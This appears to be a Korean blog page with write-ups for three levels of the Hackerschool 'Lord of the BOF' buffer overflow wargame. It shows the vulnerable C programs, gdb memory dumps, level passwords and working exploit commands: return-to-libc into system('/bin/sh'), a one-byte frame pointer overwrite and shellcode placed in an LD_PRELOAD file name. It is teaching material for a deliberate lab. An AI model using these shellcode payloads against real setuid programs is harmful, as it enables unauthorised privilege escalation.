반응형
반응형


해커스쿨 LOB LEVEL13 [darkknight -> bugbear] 풀이


M4ndU




해커스쿨 LOB [darkknight -> bugbear] 풀이입니다.


ID | darkknight

PW | new attacker

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: darkknight

Password:

[darkknight@localhost darkknight]$ bash2

[darkknight@localhost darkknight]$ ls -l

total 16

-rwsr-sr-x    1 bugbear  bugbear     12043 Mar  8  2010 bugbear

-rw-r--r--    1 root     root          385 Mar 29  2010 bugbear.c

[darkknight@localhost darkknight]$ cat bugbear.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack betrayed you!!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



리턴주소를 스택으로 돌릴 수 없다...

이번에는 RTL기법을 이용해서 문제를 푸는 것 같습니다.

공유 라이브러리에 있는 함수를 사용해서 쉘을 따야 합니다.


system함수를 사용하겠습니다. system함수의 주소를 확인합니다.


[darkknight@localhost darkknight]$ mkdir tmp

[darkknight@localhost darkknight]$ cp bugbear tmp/

[darkknight@localhost darkknight]$ cd tmp/

[darkknight@localhost tmp]$ gdb bugbear -q

(gdb) b main

Breakpoint 1 at 0x8048436

(gdb) r

Starting program: /home/darkknight/tmp/bugbear


Breakpoint 1, 0x8048436 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>


리턴 주소를 0x40058ae0를 덮고 system()에 인자로 "/bin/sh"의 주소를 넘기면 된다.
이 주소는 ret+4위치에 넣어주면 된다. ret 바로 다음이 아닌 4바이트를 띄는 이유는
argc와 argv가 들어가기 때문이다. argc가 먼저 들어가기 때문.

일단 "/bin/sh"의 주소를 구해야 한다.


./bugbear `python -c 'print "D"*44+"\xe0\x8a\x05\x40"+"argc"+"argv"+"/bin/sh"'`


[darkknight@localhost tmp]$ ./bugbear `python -c 'print "D"*44+"\xe0\x8a\x05\x40"+"argc"+"argv"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?@argcargv/bin/sh

Segmentation fault (core dumped)

[darkknight@localhost tmp]$ gdb -c core -q

Core was generated by `./bugbear DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?@argcargv/bin/sh'.

Program terminated with signal 11, Segmentation fault.

#0  0x63677261 in ?? ()

(gdb) x/10s $esp

0xbffffac4:      "argv/bin/sh"

0xbffffad0:      "\002"

0xbffffad2:      ""

0xbffffad3:      ""

0xbffffad4:      "\200\203\004\b"

0xbffffad9:      ""

0xbffffada:      ""

0xbffffadb:      ""

0xbffffadc:      "?203\004\b0\204\004\b\002"

0xbffffae6:      ""

(gdb) x/s $esp+4

0xbffffac8:      "/bin/sh"



찾았당


[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "D"*44+"\xe0\x8a\x05\x40"+"argc"+"\xc8\xfa\xff\xbf"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?@argc힐?bin/sh

bash$ my-pass

euid = 513

new divide


다음레벨로 가즈아ㅏㅏㅏ!!


반응형
반응형


해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이


M4ndU




해커스쿨 LOB [golem -> darkknight] 풀이입니다.


ID | golem

PW | cup of coffee

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: golem

Password:

[golem@localhost golem]$ bash2

[golem@localhost golem]$ ls -l

total 16

-rwsr-sr-x    1 darkknig darkknig    12053 Mar  2  2010 darkknight

-rw-r--r--    1 root     root          355 Mar 29  2010 darkknight.c

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/


#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }


        problem_child(argv[1]);

}



이번에는 버퍼오버플로우가 problem_child 함수에서 일어나는데, 1바이트밖에 조작할 수 없네요.
힌트로는 FPO가 있네요.

1바이트 오버플로우를 이용하면 ebp의 마지막 바이트를 조작할 수 있습니다.

함수의 에필로그인 leave 와 ret을 보면,

mov esp, ebp
pop ebp

pop eip
jmp eip

와 하는 일이 같은데, 우리가 ebp의 주소를 조작해 준다면
조작된 주소가 ebp에 담기고 (pop ebp)

main함수 에필로그에서
조작된 ebp가 esp에 담긴다. (mov esp, ebp)
[esp-1][esp-4]까지 ebp가 되고 (pop ebp)
[esp-5][esp-8]까지 eip가 되면서 (pop eip)
eip가 조작될 수 있다.


일단 값을 넣고

스택을 한번봅시다.


[golem@localhost tmp]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff"*100'`

릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                     ??퓹懶엥?옹   @

Segmentation fault (core dumped)

[golem@localhost tmp]$ gdb -c core -q

Core was generated by `./darkknight 릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                                                         ?'.

Program terminated with signal 11, Segmentation fault.

#0  0xfffeebbf in ?? ()

(gdb) x/100x 0xbffffa50
0xbffffa50:     0xbffffa54      0x90909090      0x90909090      0x90909090
0xbffffa60:     0x31909090      0x2f6850c0      0x6868732f      0x6e69622f
0xbffffa70:     0x5350e389      0xc289e189      0x80cd0bb0      0xbffffaff
0xbffffa80:     0x0804849e      0xbffffbd4      0xbffffaa8      0x400309cb

buffer의 시작주소인 0xbffffa54의 값이 0xbffffa50에 있고
41번째에 넣은 0xff로 인해 ebp가 0xbffffaff로 조작된 것을 확인할 수 있습니다.

이 ebp를  0xbffffa4c으로 조작하면 eip가 buffer의 시작주소로 조작이 되겠죠.


[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\ x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\ xcd\x80"+"\x4c"*100'`

릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                     ?L?퓹懶엥?옹   @

bash$ my-pass

euid = 512

new attacker


성공입니다. 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이


M4ndU




해커스쿨 LOB [skeleton -> golem] 풀이입니다.


ID | skeleton

PW | shellcoder

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: skeleton

Password:

[skeleton@localhost skeleton]$ bash2

[skeleton@localhost skeleton]$ ls -l

total 16

-rwsr-sr-x    1 golem    golem       12199 Mar  2  2010 golem

-rw-r--r--    1 root     root          539 Mar 29  2010 golem.c

[skeleton@localhost skeleton]$ cat golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - golem

        - stack destroyer

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer!

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));



리턴주소부분을 제외하고 모두 0으로 초기화 시켜버리네요....
하지만 남아있는 공간이 하나 있습니다. 바로 공유라이브러리입니다!

일단 문제를 복사하고

[skeleton@localhost skeleton]$ mkdir tmp
[skeleton@localhost skeleton]$ cp golem tmp/
[skeleton@localhost skeleton]$ cd tmp/

빈파일을 하나 만들어서 쉘코드 이름으로 컴파일합니다.

[skeleton@localhost tmp]$ cat > a.c
[skeleton@localhost tmp]$ ls
a.c  golem
[skeleton@localhost tmp]$ gcc -fPIC -shared a.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

그리고 환경변수 LD_PRELOAD에 등록을 해줍니다.

[skeleton@localhost tmp]$ export LD_PRELOAD=./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

이제 위치를 확인합니다.


[skeleton@localhost tmp]$ gdb golem -q
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r `python -c 'print "D"*44+"\xbf"*4'`
Starting program: /home/skeleton/tmp/golem `python -c 'print "D"*44+"\xbf"*4'`

Breakpoint 1, 0x8048476 in main ()
(gdb) x/1000x $esp-4000
(생략)
0xbffff57c:     0x40017000      0x00002fb2      0x40013868      0xbffff754
0xbffff58c:     0x4000380e      0x40014468      0x90902f2e      0x90909090
0xbffff59c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5ac:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5bc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5cc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5dc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5ec:     0x90909090      0x90909090      0x90909090      0x11eb9090
0xbffff5fc:     0xb1c9315e      0x0e6c8032      0xe98001ff      0xebf67501
0xbffff60c:     0xffeae805      0xc132ffff      0x30306951      0x30696974
0xbffff61c:     0x8a6f6a63      0x8a5451e4      0x0cb19ae2      0x400081ce
0xbffff62c:     0x40013868      0x4000220c      0xbffffb60      0x00000000
0xbffff63c:     0x00000000      0x00000000      0x00000000      0x40014a00

잘있네요. 0xbffff5cc를 리턴주소로 하겠습니다.

[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44+"\xcc\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA係?
bash$ my-pass
euid = 511
cup of coffee

다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts